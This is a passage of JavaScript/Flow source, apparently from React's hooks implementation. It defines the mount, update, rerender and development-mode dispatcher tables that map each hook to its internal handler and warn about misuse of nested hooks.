entangle it again, just to be sure.\n    markRootEntangled(root, newQueueLanes);\n  }\n}\n\nfunction markUpdateInDevTools<A>(fiber: Fiber, lane: Lane, action: A): void {\n  if (enableSchedulingProfiler) {\n    markStateUpdateScheduled(fiber, lane);\n  }\n}\n\nexport const ContextOnlyDispatcher: Dispatcher = {\n  readContext,\n\n  use,\n  useCallback: throwInvalidHookError,\n  useContext: throwInvalidHookError,\n  useEffect: throwInvalidHookError,\n  useImperativeHandle: throwInvalidHookError,\n  useLayoutEffect: throwInvalidHookError,\n  useInsertionEffect: throwInvalidHookError,\n  useMemo: throwInvalidHookError,\n  useReducer: throwInvalidHookError,\n  useRef: throwInvalidHookError,\n  useState: throwInvalidHookError,\n  useDebugValue: throwInvalidHookError,\n  useDeferredValue: throwInvalidHookError,\n  useTransition: throwInvalidHookError,\n  useSyncExternalStore: throwInvalidHookError,\n  useId: throwInvalidHookError,\n  useHostTransitionStatus: throwInvalidHookError,\n  useFormState: throwInvalidHookError,\n  useActionState: throwInvalidHookError,\n  useOptimistic: throwInvalidHookError,\n  useMemoCache: throwInvalidHookError,\n  useCacheRefresh: throwInvalidHookError,\n  useEffectEvent: throwInvalidHookError,\n};\n\nconst HooksDispatcherOnMount: Dispatcher = {\n  readContext,\n\n  use,\n  useCallback: mountCallback,\n  useContext: readContext,\n  useEffect: mountEffect,\n  useImperativeHandle: mountImperativeHandle,\n  useLayoutEffect: mountLayoutEffect,\n  useInsertionEffect: mountInsertionEffect,\n  useMemo: mountMemo,\n  useReducer: mountReducer,\n  useRef: mountRef,\n  useState: mountState,\n  useDebugValue: mountDebugValue,\n  useDeferredValue: mountDeferredValue,\n  useTransition: mountTransition,\n  useSyncExternalStore: mountSyncExternalStore,\n  useId: mountId,\n  useHostTransitionStatus: useHostTransitionStatus,\n  useFormState: mountActionState,\n  useActionState: mountActionState,\n  useOptimistic: mountOptimistic,\n  useMemoCache,\n  useCacheRefresh: mountRefresh,\n  useEffectEvent: mountEvent,\n};\n\nconst HooksDispatcherOnUpdate: Dispatcher = {\n  readContext,\n\n  use,\n  useCallback: updateCallback,\n  useContext: readContext,\n  useEffect: updateEffect,\n  useImperativeHandle: updateImperativeHandle,\n  useInsertionEffect: updateInsertionEffect,\n  useLayoutEffect: updateLayoutEffect,\n  useMemo: updateMemo,\n  useReducer: updateReducer,\n  useRef: updateRef,\n  useState: updateState,\n  useDebugValue: updateDebugValue,\n  useDeferredValue: updateDeferredValue,\n  useTransition: updateTransition,\n  useSyncExternalStore: updateSyncExternalStore,\n  useId: updateId,\n  useHostTransitionStatus: useHostTransitionStatus,\n  useFormState: updateActionState,\n  useActionState: updateActionState,\n  useOptimistic: updateOptimistic,\n  useMemoCache,\n  useCacheRefresh: updateRefresh,\n  useEffectEvent: updateEvent,\n};\n\nconst HooksDispatcherOnRerender: Dispatcher = {\n  readContext,\n\n  use,\n  useCallback: updateCallback,\n  useContext: readContext,\n  useEffect: updateEffect,\n  useImperativeHandle: updateImperativeHandle,\n  useInsertionEffect: updateInsertionEffect,\n  useLayoutEffect: updateLayoutEffect,\n  useMemo: updateMemo,\n  useReducer: rerenderReducer,\n  useRef: updateRef,\n  useState: rerenderState,\n  useDebugValue: updateDebugValue,\n  useDeferredValue: rerenderDeferredValue,\n  useTransition: rerenderTransition,\n  useSyncExternalStore: updateSyncExternalStore,\n  useId: updateId,\n  useHostTransitionStatus: useHostTransitionStatus,\n  useFormState: rerenderActionState,\n  useActionState: rerenderActionState,\n  useOptimistic: rerenderOptimistic,\n  useMemoCache,\n  useCacheRefresh: updateRefresh,\n  useEffectEvent: updateEvent,\n};\n\nlet HooksDispatcherOnMountInDEV: Dispatcher | null = null;\nlet HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher | null = null;\nlet HooksDispatcherOnUpdateInDEV: Dispatcher | null = null;\nlet HooksDispatcherOnRerenderInDEV: Dispatcher | null = null;\nlet InvalidNestedHooksDispatcherOnMountInDEV: Dispatcher | null = null;\nlet InvalidNestedHooksDispatcherOnUpdateInDEV: Dispatcher | null = null;\nlet InvalidNestedHooksDispatcherOnRerenderInDEV: Dispatcher | null = null;\n\nif (__DEV__) {\n  const warnInvalidContextAccess = () => {\n    console.error(\n      'Context can only be read while React is rendering. ' +\n        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +\n        'In function components, you can read it directly in the function body, but not ' +\n        'inside Hooks like useReducer() or useMemo().',\n    );\n  };\n\n  const warnInvalidHookAccess = () => {\n    console.error(\n      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +\n        'You can only call Hooks at the top level of your React function. ' +\n        'For more information, see ' +\n        'https://react.dev/link/rules-of-hooks',\n    );\n  };\n\n  HooksDispatcherOnMountInDEV = {\n    readContext<T>(context: ReactContext<T>): T {\n      return readContext(context);\n    },\n    use,\n    useCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useCallback';\n      mountHookTypesDev();\n      checkDepsAreArrayDev(deps);\n      return mountCallback(callback, deps);\n    },\n    useContext<T>(context: ReactContext<T>): T {\n      currentHookNameInDev = 'useContext';\n      mountHookTypesDev();\n      return readContext(context);\n    },\n    useEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useEffect';\n      mountHookTypesDev();\n      checkDepsAreArrayDev(deps);\n      return mountEffect(create, deps);\n    },\n    useImperativeHandle<T>(\n      ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n      create: () => T,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useImperativeHandle';\n      mountHookTypesDev();\n      checkDepsAreArrayDev(deps);\n      return mountImperativeHandle(ref, create, deps);\n    },\n    useInsertionEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useInsertionEffect';\n      mountHookTypesDev();\n      checkDepsAreArrayDev(deps);\n      return mountInsertionEffect(create, deps);\n    },\n    useLayoutEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useLayoutEffect';\n      mountHookTypesDev();\n      checkDepsAreArrayDev(deps);\n      return mountLayoutEffect(create, deps);\n    },\n    useMemo<T>(create: () => T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useMemo';\n      mountHookTypesDev();\n      checkDepsAreArrayDev(deps);\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountMemo(create, deps);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useReducer<S, I, A>(\n      reducer: (S, A) => S,\n      initialArg: I,\n      init?: I => S,\n    ): [S, Dispatch<A>] {\n      currentHookNameInDev = 'useReducer';\n      mountHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountReducer(reducer, initialArg, init);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useRef<T>(initialValue: T): {current: T} {\n      currentHookNameInDev = 'useRef';\n      mountHookTypesDev();\n      return mountRef(initialValue);\n    },\n    useState<S>(\n      initialState: (() => S) | S,\n    ): [S, Dispatch<BasicStateAction<S>>] {\n      currentHookNameInDev = 'useState';\n      mountHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountState(initialState);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n      currentHookNameInDev = 'useDebugValue';\n      mountHookTypesDev();\n      return mountDebugValue(value, formatterFn);\n    },\n    useDeferredValue<T>(value: T, initialValue?: T): T {\n      currentHookNameInDev = 'useDeferredValue';\n      mountHookTypesDev();\n      return mountDeferredValue(value, initialValue);\n    },\n    useTransition(): [boolean, (() => void) => void] {\n      currentHookNameInDev = 'useTransition';\n      mountHookTypesDev();\n      return mountTransition();\n    },\n    useSyncExternalStore<T>(\n      subscribe: (() => void) => () => void,\n      getSnapshot: () => T,\n      getServerSnapshot?: () => T,\n    ): T {\n      currentHookNameInDev = 'useSyncExternalStore';\n      mountHookTypesDev();\n      return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n    },\n    useId(): string {\n      currentHookNameInDev = 'useId';\n      mountHookTypesDev();\n      return mountId();\n    },\n    useFormState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useFormState';\n      mountHookTypesDev();\n      warnOnUseFormStateInDev();\n      return mountActionState(action, initialState, permalink);\n    },\n    useActionState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useActionState';\n      mountHookTypesDev();\n      return mountActionState(action, initialState, permalink);\n    },\n    useOptimistic<S, A>(\n      passthrough: S,\n      reducer: ?(S, A) => S,\n    ): [S, (A) => void] {\n      currentHookNameInDev = 'useOptimistic';\n      mountHookTypesDev();\n      return mountOptimistic(passthrough, reducer);\n    },\n    useHostTransitionStatus,\n    useMemoCache,\n    useCacheRefresh() {\n      currentHookNameInDev = 'useCacheRefresh';\n      mountHookTypesDev();\n      return mountRefresh();\n    },\n    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(\n      callback: F,\n    ): F {\n      currentHookNameInDev = 'useEffectEvent';\n      mountHookTypesDev();\n      return mountEvent(callback);\n    },\n  };\n\n  HooksDispatcherOnMountWithHookTypesInDEV = {\n    readContext<T>(context: ReactContext<T>): T {\n      return readContext(context);\n    },\n    use,\n    useCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useCallback';\n      updateHookTypesDev();\n      return mountCallback(callback, deps);\n    },\n    useContext<T>(context: ReactContext<T>): T {\n      currentHookNameInDev = 'useContext';\n      updateHookTypesDev();\n      return readContext(context);\n    },\n    useEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useEffect';\n      updateHookTypesDev();\n      return mountEffect(create, deps);\n    },\n    useImperativeHandle<T>(\n      ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n      create: () => T,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useImperativeHandle';\n      updateHookTypesDev();\n      return mountImperativeHandle(ref, create, deps);\n    },\n    useInsertionEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useInsertionEffect';\n      updateHookTypesDev();\n      return mountInsertionEffect(create, deps);\n    },\n    useLayoutEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useLayoutEffect';\n      updateHookTypesDev();\n      return mountLayoutEffect(create, deps);\n    },\n    useMemo<T>(create: () => T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useMemo';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountMemo(create, deps);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useReducer<S, I, A>(\n      reducer: (S, A) => S,\n      initialArg: I,\n      init?: I => S,\n    ): [S, Dispatch<A>] {\n      currentHookNameInDev = 'useReducer';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountReducer(reducer, initialArg, init);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useRef<T>(initialValue: T): {current: T} {\n      currentHookNameInDev = 'useRef';\n      updateHookTypesDev();\n      return mountRef(initialValue);\n    },\n    useState<S>(\n      initialState: (() => S) | S,\n    ): [S, Dispatch<BasicStateAction<S>>] {\n      currentHookNameInDev = 'useState';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountState(initialState);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n      currentHookNameInDev = 'useDebugValue';\n      updateHookTypesDev();\n      return mountDebugValue(value, formatterFn);\n    },\n    useDeferredValue<T>(value: T, initialValue?: T): T {\n      currentHookNameInDev = 'useDeferredValue';\n      updateHookTypesDev();\n      return mountDeferredValue(value, initialValue);\n    },\n    useTransition(): [boolean, (() => void) => void] {\n      currentHookNameInDev = 'useTransition';\n      updateHookTypesDev();\n      return mountTransition();\n    },\n    useSyncExternalStore<T>(\n      subscribe: (() => void) => () => void,\n      getSnapshot: () => T,\n      getServerSnapshot?: () => T,\n    ): T {\n      currentHookNameInDev = 'useSyncExternalStore';\n      updateHookTypesDev();\n      return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n    },\n    useId(): string {\n      currentHookNameInDev = 'useId';\n      updateHookTypesDev();\n      return mountId();\n    },\n    useActionState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useActionState';\n      updateHookTypesDev();\n      return mountActionState(action, initialState, permalink);\n    },\n    useFormState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useFormState';\n      updateHookTypesDev();\n      warnOnUseFormStateInDev();\n      return mountActionState(action, initialState, permalink);\n    },\n    useOptimistic<S, A>(\n      passthrough: S,\n      reducer: ?(S, A) => S,\n    ): [S, (A) => void] {\n      currentHookNameInDev = 'useOptimistic';\n      updateHookTypesDev();\n      return mountOptimistic(passthrough, reducer);\n    },\n    useHostTransitionStatus,\n    useMemoCache,\n    useCacheRefresh() {\n      currentHookNameInDev = 'useCacheRefresh';\n      updateHookTypesDev();\n      return mountRefresh();\n    },\n    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(\n      callback: F,\n    ): F {\n      currentHookNameInDev = 'useEffectEvent';\n      updateHookTypesDev();\n      return mountEvent(callback);\n    },\n  };\n\n  HooksDispatcherOnUpdateInDEV = {\n    readContext<T>(context: ReactContext<T>): T {\n      return readContext(context);\n    },\n    use,\n    useCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useCallback';\n      updateHookTypesDev();\n      return updateCallback(callback, deps);\n    },\n    useContext<T>(context: ReactContext<T>): T {\n      currentHookNameInDev = 'useContext';\n      updateHookTypesDev();\n      return readContext(context);\n    },\n    useEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useEffect';\n      updateHookTypesDev();\n      return updateEffect(create, deps);\n    },\n    useImperativeHandle<T>(\n      ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n      create: () => T,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useImperativeHandle';\n      updateHookTypesDev();\n      return updateImperativeHandle(ref, create, deps);\n    },\n    useInsertionEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useInsertionEffect';\n      updateHookTypesDev();\n      return updateInsertionEffect(create, deps);\n    },\n    useLayoutEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useLayoutEffect';\n      updateHookTypesDev();\n      return updateLayoutEffect(create, deps);\n    },\n    useMemo<T>(create: () => T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useMemo';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return updateMemo(create, deps);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useReducer<S, I, A>(\n      reducer: (S, A) => S,\n      initialArg: I,\n      init?: I => S,\n    ): [S, Dispatch<A>] {\n      currentHookNameInDev = 'useReducer';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return updateReducer(reducer, initialArg, init);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useRef<T>(initialValue: T): {current: T} {\n      currentHookNameInDev = 'useRef';\n      updateHookTypesDev();\n      return updateRef(initialValue);\n    },\n    useState<S>(\n      initialState: (() => S) | S,\n    ): [S, Dispatch<BasicStateAction<S>>] {\n      currentHookNameInDev = 'useState';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return updateState(initialState);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n      currentHookNameInDev = 'useDebugValue';\n      updateHookTypesDev();\n      return updateDebugValue(value, formatterFn);\n    },\n    useDeferredValue<T>(value: T, initialValue?: T): T {\n      currentHookNameInDev = 'useDeferredValue';\n      updateHookTypesDev();\n      return updateDeferredValue(value, initialValue);\n    },\n    useTransition(): [boolean, (() => void) => void] {\n      currentHookNameInDev = 'useTransition';\n      updateHookTypesDev();\n      return updateTransition();\n    },\n    useSyncExternalStore<T>(\n      subscribe: (() => void) => () => void,\n      getSnapshot: () => T,\n      getServerSnapshot?: () => T,\n    ): T {\n      currentHookNameInDev = 'useSyncExternalStore';\n      updateHookTypesDev();\n      return updateSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n    },\n    useId(): string {\n      currentHookNameInDev = 'useId';\n      updateHookTypesDev();\n      return updateId();\n    },\n    useFormState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useFormState';\n      updateHookTypesDev();\n      warnOnUseFormStateInDev();\n      return updateActionState(action, initialState, permalink);\n    },\n    useActionState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useActionState';\n      updateHookTypesDev();\n      return updateActionState(action, initialState, permalink);\n    },\n    useOptimistic<S, A>(\n      passthrough: S,\n      reducer: ?(S, A) => S,\n    ): [S, (A) => void] {\n      currentHookNameInDev = 'useOptimistic';\n      updateHookTypesDev();\n      return updateOptimistic(passthrough, reducer);\n    },\n    useHostTransitionStatus,\n    useMemoCache,\n    useCacheRefresh() {\n      currentHookNameInDev = 'useCacheRefresh';\n      updateHookTypesDev();\n      return updateRefresh();\n    },\n    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(\n      callback: F,\n    ): F {\n      currentHookNameInDev = 'useEffectEvent';\n      updateHookTypesDev();\n      return updateEvent(callback);\n    },\n  };\n\n  HooksDispatcherOnRerenderInDEV = {\n    readContext<T>(context: ReactContext<T>): T {\n      return readContext(context);\n    },\n    use,\n    useCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useCallback';\n      updateHookTypesDev();\n      return updateCallback(callback, deps);\n    },\n    useContext<T>(context: ReactContext<T>): T {\n      currentHookNameInDev = 'useContext';\n      updateHookTypesDev();\n      return readContext(context);\n    },\n    useEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useEffect';\n      updateHookTypesDev();\n      return updateEffect(create, deps);\n    },\n    useImperativeHandle<T>(\n      ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n      create: () => T,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useImperativeHandle';\n      updateHookTypesDev();\n      return updateImperativeHandle(ref, create, deps);\n    },\n    useInsertionEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useInsertionEffect';\n      updateHookTypesDev();\n      return updateInsertionEffect(create, deps);\n    },\n    useLayoutEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useLayoutEffect';\n      updateHookTypesDev();\n      return updateLayoutEffect(create, deps);\n    },\n    useMemo<T>(create: () => T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useMemo';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnRerenderInDEV;\n      try {\n        return updateMemo(create, deps);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useReducer<S, I, A>(\n      reducer: (S, A) => S,\n      initialArg: I,\n      init?: I => S,\n    ): [S, Dispatch<A>] {\n      currentHookNameInDev = 'useReducer';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnRerenderInDEV;\n      try {\n        return rerenderReducer(reducer, initialArg, init);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useRef<T>(initialValue: T): {current: T} {\n      currentHookNameInDev = 'useRef';\n      updateHookTypesDev();\n      return updateRef(initialValue);\n    },\n    useState<S>(\n      initialState: (() => S) | S,\n    ): [S, Dispatch<BasicStateAction<S>>] {\n      currentHookNameInDev = 'useState';\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnRerenderInDEV;\n      try {\n        return rerenderState(initialState);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n      currentHookNameInDev = 'useDebugValue';\n      updateHookTypesDev();\n      return updateDebugValue(value, formatterFn);\n    },\n    useDeferredValue<T>(value: T, initialValue?: T): T {\n      currentHookNameInDev = 'useDeferredValue';\n      updateHookTypesDev();\n      return rerenderDeferredValue(value, initialValue);\n    },\n    useTransition(): [boolean, (() => void) => void] {\n      currentHookNameInDev = 'useTransition';\n      updateHookTypesDev();\n      return rerenderTransition();\n    },\n    useSyncExternalStore<T>(\n      subscribe: (() => void) => () => void,\n      getSnapshot: () => T,\n      getServerSnapshot?: () => T,\n    ): T {\n      currentHookNameInDev = 'useSyncExternalStore';\n      updateHookTypesDev();\n      return updateSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n    },\n    useId(): string {\n      currentHookNameInDev = 'useId';\n      updateHookTypesDev();\n      return updateId();\n    },\n    useFormState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useFormState';\n      updateHookTypesDev();\n      warnOnUseFormStateInDev();\n      return rerenderActionState(action, initialState, permalink);\n    },\n    useActionState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useActionState';\n      updateHookTypesDev();\n      return rerenderActionState(action, initialState, permalink);\n    },\n    useOptimistic<S, A>(\n      passthrough: S,\n      reducer: ?(S, A) => S,\n    ): [S, (A) => void] {\n      currentHookNameInDev = 'useOptimistic';\n      updateHookTypesDev();\n      return rerenderOptimistic(passthrough, reducer);\n    },\n    useHostTransitionStatus,\n    useMemoCache,\n    useCacheRefresh() {\n      currentHookNameInDev = 'useCacheRefresh';\n      updateHookTypesDev();\n      return updateRefresh();\n    },\n    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(\n      callback: F,\n    ): F {\n      currentHookNameInDev = 'useEffectEvent';\n      updateHookTypesDev();\n      return updateEvent(callback);\n    },\n  };\n\n  InvalidNestedHooksDispatcherOnMountInDEV = {\n    readContext<T>(context: ReactContext<T>): T {\n      warnInvalidContextAccess();\n      return readContext(context);\n    },\n    use<T>(usable: Usable<T>): T {\n      warnInvalidHookAccess();\n      return use(usable);\n    },\n    useCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useCallback';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountCallback(callback, deps);\n    },\n    useContext<T>(context: ReactContext<T>): T {\n      currentHookNameInDev = 'useContext';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return readContext(context);\n    },\n    useEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useEffect';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountEffect(create, deps);\n    },\n    useImperativeHandle<T>(\n      ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n      create: () => T,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useImperativeHandle';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountImperativeHandle(ref, create, deps);\n    },\n    useInsertionEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useInsertionEffect';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountInsertionEffect(create, deps);\n    },\n    useLayoutEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useLayoutEffect';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountLayoutEffect(create, deps);\n    },\n    useMemo<T>(create: () => T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useMemo';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountMemo(create, deps);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useReducer<S, I, A>(\n      reducer: (S, A) => S,\n      initialArg: I,\n      init?: I => S,\n    ): [S, Dispatch<A>] {\n      currentHookNameInDev = 'useReducer';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountReducer(reducer, initialArg, init);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useRef<T>(initialValue: T): {current: T} {\n      currentHookNameInDev = 'useRef';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountRef(initialValue);\n    },\n    useState<S>(\n      initialState: (() => S) | S,\n    ): [S, Dispatch<BasicStateAction<S>>] {\n      currentHookNameInDev = 'useState';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnMountInDEV;\n      try {\n        return mountState(initialState);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n      currentHookNameInDev = 'useDebugValue';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountDebugValue(value, formatterFn);\n    },\n    useDeferredValue<T>(value: T, initialValue?: T): T {\n      currentHookNameInDev = 'useDeferredValue';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountDeferredValue(value, initialValue);\n    },\n    useTransition(): [boolean, (() => void) => void] {\n      currentHookNameInDev = 'useTransition';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountTransition();\n    },\n    useSyncExternalStore<T>(\n      subscribe: (() => void) => () => void,\n      getSnapshot: () => T,\n      getServerSnapshot?: () => T,\n    ): T {\n      currentHookNameInDev = 'useSyncExternalStore';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n    },\n    useId(): string {\n      currentHookNameInDev = 'useId';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountId();\n    },\n    useFormState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useFormState';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountActionState(action, initialState, permalink);\n    },\n    useActionState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useActionState';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountActionState(action, initialState, permalink);\n    },\n    useOptimistic<S, A>(\n      passthrough: S,\n      reducer: ?(S, A) => S,\n    ): [S, (A) => void] {\n      currentHookNameInDev = 'useOptimistic';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountOptimistic(passthrough, reducer);\n    },\n    useMemoCache(size: number): Array<any> {\n      warnInvalidHookAccess();\n      return useMemoCache(size);\n    },\n    useHostTransitionStatus,\n    useCacheRefresh() {\n      currentHookNameInDev = 'useCacheRefresh';\n      mountHookTypesDev();\n      return mountRefresh();\n    },\n    useEffectEvent<Args, Return, F: 